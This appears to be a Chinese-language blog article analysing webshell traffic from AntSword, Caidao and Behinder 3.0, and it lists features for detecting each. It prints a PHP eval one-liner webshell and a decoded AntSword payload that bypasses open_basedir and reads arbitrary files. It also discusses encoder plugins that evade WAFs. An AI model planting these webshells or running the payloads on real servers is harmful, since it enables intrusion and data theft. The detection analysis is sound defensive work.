概述
webshell 就是常见的asp、aspx、php、jsp或者cgi等网页文件形式存在的一种命令执行的环境,亦可以称为后门。留下类似的后门文件可以使得日后可以通过蚁剑或者哥斯拉等 webshell 管理工具直接连接到网站后台,并执行部分命令。
流量分析
蚁剑
蚁剑是我们常用的一个 Webshell 管理工具,他没有自带的 Webshell 生成器,所以我们在虚拟机中启动一个PHP环境,然后提前先模拟一个被写入 webshell 的文件,然后对蚁剑使用 Reqable 代理,这样所有的蚁剑流量都可以直观的被统计到。
如上我们可以看到,这就是蚁剑对 webshell 的连接请求。
可以看到在没有选择编码器的默认模式下,蚁剑是直接只对数据包进行了url编码的,理论上来说这,也就是明文。
编码器
蚁剑自带一个编码器,这个东西是因为蚁剑本身的脚本源代码几乎全部来自菜刀,包括aspx/php/asp,这就导致流量特征过于明显,基本不可能过任何WAF,所以就有了这个解码器,来对流量进行混淆。编码器和解码器都可以自定义,使用Nodejs编写。
编码器:对发送的流量进行编码,服务端进行解码
解码器:服务端对返回流量进行编码,客户端需要解码还原流量接收
那么简单理解,编码器是客户端对服务端发送流量的编码,解码器是对服务端发来的流量的解码,实现传输全程密文传输,这才能骗的过WAF.
而蚁剑自带的 webshell 非常的原始
<?php @eval($_POST['cmd']);?>
这就是最基本的一句话了,没有任何免杀绕过。
同样的,因为代码只有这一句话,没有办法做出任何编码,因为服务端没有对应的解码的工具,而这边传输的只有一个一句话,加密后服务端一点办法都没有。而同样作为 webshell 的管理工具冰蝎,冰蝎自带的马是存在加密解密函数的,这就使得服务端收到密文后可以直接使用函数对密文解密。而这也导致了冰蝎传输的加解密函数只能明文传输,这就成了冰蝎的流量特征。
BASE64 编码
调用蚁剑自带的base64编码器,可以观察流量发生了什么变化。
请求体变成了base64编码的内容,解密后得到如下
@eval(@base64_decode($_POST['e454c545a8a939']));
就是使用eval函数对$_POST的内容进行了一个解码
然后我们做出进一步的操作去看蚁剑的流量变化。
当我们做出一个访问文件的操作时
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.4d9caedffd";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "1e8"."6ade";echo @asenc($output);echo "443"."f29";}ob_start();try{$F=base64_decode(substr($_POST["q203a6002be628"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
这就是base64解码后的东西,我们再尝试将解码器也设置为base64,
此时服务端返回内容也变成了base64加密后的内容。
流量特征
默认的
User-Agent为 antsword 版本号 (存疑,新版本 2.1.15 好像改成了随机浏览器头,不知道什么时候改的)蚁剑默认使用
URL编码加密HTTP Body,解密后最明显的一段流量为@ini_set("display_errors", "0");,这个也是基本所有的 Webshell 客户端连接PHP的 Webshell 共有的特征,在蚁剑里这段是明文,有些里面是密文,所以蚁剑的比较好认。同时蚁剑还有eval这个非常基本的容易被发现的函数。蚁剑的许多绕过,加密的插件混淆加密后的流量很难被识别,但是这些流量又大多有一个特征,大多参数名以
0x......=这种形式,所以如果碰到0x开头后面加密的数据包,也可以尝试当做蚁剑流量去识别。
蚁剑攻防
- 编码器改造:
蚁剑拥有数量庞大的插件仓库,有许多将流量改的面目全非的插件,但本质上蚁剑是将解码函数包裹着发送到服务端的,这就是最明显的流量特征。
所以自定义修改编解码器,我不会,所以找的别人的。蚁剑改造过 WAF 系列,看看就行。
- 修改请求头:
但这个我刚才试过了,2.1.15 版本的蚁剑User-Agent默认就是随机的浏览器头,不知道是不是改了啥。
好吧,在蚁剑的源码modules/request.js中发现了如下代码,确实修改了请求头。
// 请求 UA
const USER_AGENT = require('random-fake-useragent');
// 请求 UA
const USER_AGENT = 'antSword/v2.1';
可以看到 2019 年的一次提交改成了硬编码为antSword/v2.1,2021 的一次提交又改成了现在的随机。
菜刀
菜刀没法启动,连不上最基本的 Webshell,直接抄吧这段。
PHP 类特征
eval:此函数用于传递攻击 payload.base64_decode($_POST[z0]):将攻击 payload 进行 base64 解码,因为菜刀默认使用 base64 对攻击载荷编码。&z0=QGluaV9zZXQ:这个部分是传递攻击 payload,参数 z0 对应刚才 post 函数接受的参数,使用 base64 编码。
PS:
- 部分时候,
eval函数被替换成assert方法。$_POST也会被$_GET,$_REQUEST方法替代。- z0 是默认参数,也可能为其他。
JSP 类特征
该流量是 WebShell 链接流量的第一段链接流量,其中特征主要在 i=A&z0=GB2312,菜刀链接 JSP 木马时,第一个参数定义操作,其中参数值为 A-Q,如 i=A,第二个参数指定编码,其参数值为编码,如 z0=GB2312,有时候 z0 后面还会接着又 z1=参数用来加入攻击载荷。
ASP 类特征
Execute:用于传递攻击 payload,等同于evalOnError ResumeNext:这是大部分 ASP 客户端中必有的流量,保证不管前面出什么错误,都可以执行后面的代码。Response.Write和Response.End:必不可少,用来完善整个操作
冰蝎 3.0
“冰蝎”是一款基于 Java 开发的动态加密通信流量的新型 Webshell 客户端。
冰蝎发布 3.0 版本,主要做了一下改动:
- 取消动态密钥获取,目前很多 waf 等设备都做了冰蝎 2.0 的流量特征分析。所以 3.0 取消了动态密钥获取
- 界面由 swt 改为 javafx,这个没啥说,界面美观大方
Content-Type
冰蝎 3.0 使用以下代码读取 POST 的内容
request.getReader().readLine()
代码直接读取 post 请求中的 body 的内容,所以请求中一定要设置 Content-Type 为application/octet-stream,否则就会出现非预期 http 编码的情况。
User-agent
冰蝎 3.0 官方非魔改版每次请求时都会选择一个随机的 UA 头,如果用户不默认提供,就会从自带的 UA 头里选一个,但是冰蝎内置的 16 个 UA 头都很老,比如 Mozzila/5.0 都已经是 2011 年的产品了,很难想象现在还有人没更新,所以可以作为一个特征,过老的 UA 头。
Accept&Cache-Control
如果没有设置 accept,cache-control,则默认为
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
